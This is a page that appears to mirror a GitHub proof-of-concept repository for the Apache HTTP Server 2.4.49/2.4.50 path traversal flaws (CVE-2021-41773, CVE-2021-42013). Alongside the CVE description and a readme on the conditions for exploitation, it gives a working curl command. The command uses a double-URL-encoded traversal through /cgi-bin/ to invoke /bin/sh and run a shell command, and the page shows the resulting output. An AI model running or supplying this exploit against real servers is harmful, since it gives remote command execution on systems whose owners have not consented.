CVE-2021-41773 PoC — Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49

Source

https://github.com/mr-exo/CVE-2021-41773

Associated Vulnerability

Title:Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)
Description:A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.

Description

Remote Code Execution exploit for Apache servers. Affected versions: Apache 2.4.49, Apache 2.4.50

Readme

## RCE exploit both for Apache 2.4.49 (CVE-2021-41773) and 2.4.50 (CVE-2021-42013):

IMHO only "special" setups will be vulnerable to this RCE.\
Same happens for the "arbitrary file read" exploits you have seen.

Both CVEs are indeed almost the same path-traversal vulnerability (2nd one is the uncomplete fix for 1st one).\
Path traversal only work from a mapped URI (e.g. via "Alias" or "ScriptAlias" Apache directives). DocumentRoot only is not sufficient.

"/cgi-bin/" is mapped by default (ScriptAlias) so that's why it's being used before the path traversal string.\
Besides, ScriptAlias marks as Exec (for Apache) all the contents for the given directory (regardless the file extensions).

### Requirements:
1/ mod_cgi enabled (not default but easy)\
2/ target binary should be +x (default for /bin/sh)\
3/ apache permissions granted for /bin or / (not default and difficult/unrealistic)\

### Check if server is vulnerable:
`curl 'http://IPADDR/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; id'`

### Response from a vulnerable server:
`uid=1(daemon) gid=1(daemon) groups=1(daemon)`

File Snapshot


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